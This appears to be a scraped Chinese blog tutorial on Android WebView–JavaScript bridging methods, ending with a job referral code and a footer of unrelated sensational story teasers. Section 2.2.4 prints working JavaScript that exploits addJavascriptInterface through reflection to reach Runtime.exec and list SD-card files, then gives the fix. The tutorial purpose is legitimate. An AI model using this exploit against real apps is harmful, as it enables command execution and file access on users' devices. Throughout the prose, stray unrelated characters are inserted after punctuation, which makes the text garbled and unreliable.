WebView:Android與Js交互

1.簡介

在使用webView的時(shí)候,免不了要與原生進(jìn)行交互危纫,比如打開鍵盤财破,獲取設(shè)備信息掰派。這時(shí)候Android與Js的交互就顯得尤為重要。下面就介紹一下5中基本交互方式左痢。

參考資料:Android與JS交互

2.Android與Js的5種基本交互方式

1)Anroid調(diào)用Js的2種方式

2.1.1)loadUrl(String url):

Android中:
webView.loadUrl("javascript:androidCallJs('我是android傳遞的參數(shù)')")

Js中:
<script>
    androidCallJs = function(text){
        alert(text)
    }
</script>

這是webView最基本的用法靡羡,添加javascript:前綴來調(diào)用Js中的方法

2.1.2)evaluateJavascript(String script, ValueCallback<String> resultCallback):

Android中:
webView.evaluateJavascript("javascript:androidCallJsWithReturn('我是參數(shù)')", object : ValueCallback<String>{
    override fun onReceiveValue(p0: String?) {
        tv_js_return.text = p0
    }
})

Js中:
<script>
    androidCallJsWithReturn = function(text){
        alert(text)
        return "我是Js的返回值!"
    }
</script>

Android4.4(api19)提供的函數(shù)俊性,在調(diào)用Js函數(shù)并獲取函數(shù)的返回值略步。注意在:獲取返回值的過程是異步的。

2)Js調(diào)用Android的3種方式

2.2.1)onJsPrompt()

Android中:
class JSBridgeWebChromeClient : WebChromeClient(){
    override fun onJsPrompt(
        view: WebView?, url: String?, message: String?, defaultValue: String?, result: JsPromptResult?): Boolean {
        // do something
        return super.onJsPrompt(view, url, message, defaultValue, result)
    }
}


Js中:
<script>
    function promptCallAndroid(){
        var result=prompt("jsbridge://webview?arg1=111&arg2=222");
    }
</script>

通過prompt通道進(jìn)行通信定页,Android中需要重寫onJsPrompt()方法來寫自己的處理邏輯趟薄。

2.2.2)shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean

Android中:
webView.webViewClient = object :WebViewClient(){
    @RequiresApi(Build.VERSION_CODES.KITKAT)
    override fun shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean {
        if (url == null) {
            return false
        }
        if (!url.startsWith("jsbridge")) {
            return false
        }
        view?.loadUrl("javascript:androidCallJs('android已經(jīng)接收到')")
        return true
    }
}

Js中:
<script>
    androidCallJs = function(text){
        alert(text)
    };
    function callAndroid(){
        <!--傳遞過去自動(dòng)轉(zhuǎn)換成小寫-->
        document.location = "jsbridge://webview?arg1=111&arg2=222";
    }
</script>

<div>
    <button onclick="callAndroid()">
          js調(diào)用原生(攔截方式)
    </button>
</div>

Js發(fā)起一個(gè)頁面跳轉(zhuǎn)請求,在Android中進(jìn)行攔截典徊。在shouldOverrideUrlLoading()中對Url進(jìn)行判斷杭煎。
如果是提前約定好的協(xié)議規(guī)范,則攔截下來通過自己的邏輯處理卒落,同時(shí)可以通過loadUrl()調(diào)用一個(gè)Js函數(shù)通知Js羡铲,返回true表示已經(jīng)處理。
如果不是儡毕,則返回false也切,走正常的跳轉(zhuǎn)邏輯。

2.2.3)addJavascriptInterface(Object object, String name)

Android中:
class AndroidToJs{
    @JavascriptInterface
    fun hello(msg:String){
        System.out.println(msg)
    }
}
// 在WebView所在類中:
webView.addJavascriptInterface(AndroidToJs(), "app")

Js中:
<script>
    function androidHello(){
        app.hello("js調(diào)用Android,無返回值")
    }
</script>

2.2.4)addJavascriptInterface()的漏洞:
(1)影響對象:
<4.2版本Android系統(tǒng)的對象 和 ≥4.2但App中函數(shù)沒加@JavascriptInterface的對象
(2)漏洞執(zhí)行惡意代碼的原理:
JS中可以遍歷window對象雷恃,找到存在“getClass”方法的對象的對象疆股,然后再通過反射的機(jī)制,得到Runtime對象褂萧,然后調(diào)用靜態(tài)方法來執(zhí)行一些命令押桃,比如exec()執(zhí)行控制臺(tái)指令訪問文件
(3)核心Js代碼如下:

function execute(cmdArgs)
    {
        for (var obj in window) {
            console.log(obj);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
            }
        }
    } 
var p = execute(["ls","/mnt/sdcard/"]);

(4)解決:
在Android4.2以及之后版本,為向Js提供的函數(shù)名添加@JavascriptInterface注釋

參考資料:https://blog.csdn.net/leehong2005/article/details/11808557

3.JsBridge的封裝思路

已有許多對JsBeidge的封裝框架可以借鑒导犹,在對業(yè)務(wù)邏輯進(jìn)行封裝時(shí)唱凯,可以參考下面的一些思想:
1.Android JsBridge 源碼解析

4.結(jié)束

又到秋招時(shí)節(jié)了,最后附上我的內(nèi)推碼和投遞鏈接:
內(nèi)推碼:UDXTM7B
投遞鏈接:https://job.toutiao.com/campus/
歡迎大家投遞谎痢。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末磕昼,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子节猿,更是在濱河造成了極大的恐慌票从,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,496評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件滨嘱,死亡現(xiàn)場離奇詭異峰鄙,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)太雨,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,407評論 3 392
  • 文/潘曉璐 我一進(jìn)店門吟榴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人囊扳,你說我怎么就攤上這事吩翻。” “怎么了锥咸?”我有些...
    開封第一講書人閱讀 162,632評論 0 353
  • 文/不壞的土叔 我叫張陵狭瞎,是天一觀的道長。 經(jīng)常有香客問我搏予,道長熊锭,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,180評論 1 292
  • 正文 為了忘掉前任雪侥,我火速辦了婚禮球涛,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘校镐。我一直安慰自己,他們只是感情好捺典,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,198評論 6 388
  • 文/花漫 我一把揭開白布鸟廓。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪引谜。 梳的紋絲不亂的頭發(fā)上牍陌,一...
    開封第一講書人閱讀 51,165評論 1 299
  • 那天,我揣著相機(jī)與錄音员咽,去河邊找鬼毒涧。 笑死,一個(gè)胖子當(dāng)著我的面吹牛贝室,可吹牛的內(nèi)容都是我干的契讲。 我是一名探鬼主播,決...
    沈念sama閱讀 40,052評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼滑频,長吁一口氣:“原來是場噩夢啊……” “哼捡偏!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起峡迷,我...
    開封第一講書人閱讀 38,910評論 0 274
  • 序言:老撾萬榮一對情侶失蹤银伟,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后绘搞,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體彤避,經(jīng)...
    沈念sama閱讀 45,324評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,542評論 2 332
  • 正文 我和宋清朗相戀三年夯辖,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了琉预。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,711評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡楼雹,死狀恐怖模孩,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情贮缅,我是刑警寧澤榨咐,帶...
    沈念sama閱讀 35,424評論 5 343
  • 正文 年R本政府宣布,位于F島的核電站谴供,受9級(jí)特大地震影響块茁,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜桂肌,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,017評論 3 326
  • 文/蒙蒙 一数焊、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧崎场,春花似錦佩耳、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,668評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽李滴。三九已至,卻和暖如春蛮瞄,著一層夾襖步出監(jiān)牢的瞬間所坯,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,823評論 1 269
  • 我被黑心中介騙來泰國打工挂捅, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留芹助,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,722評論 2 368
  • 正文 我出身青樓闲先,卻偏偏與公主長得像状土,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子饵蒂,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,611評論 2 353

推薦閱讀更多精彩內(nèi)容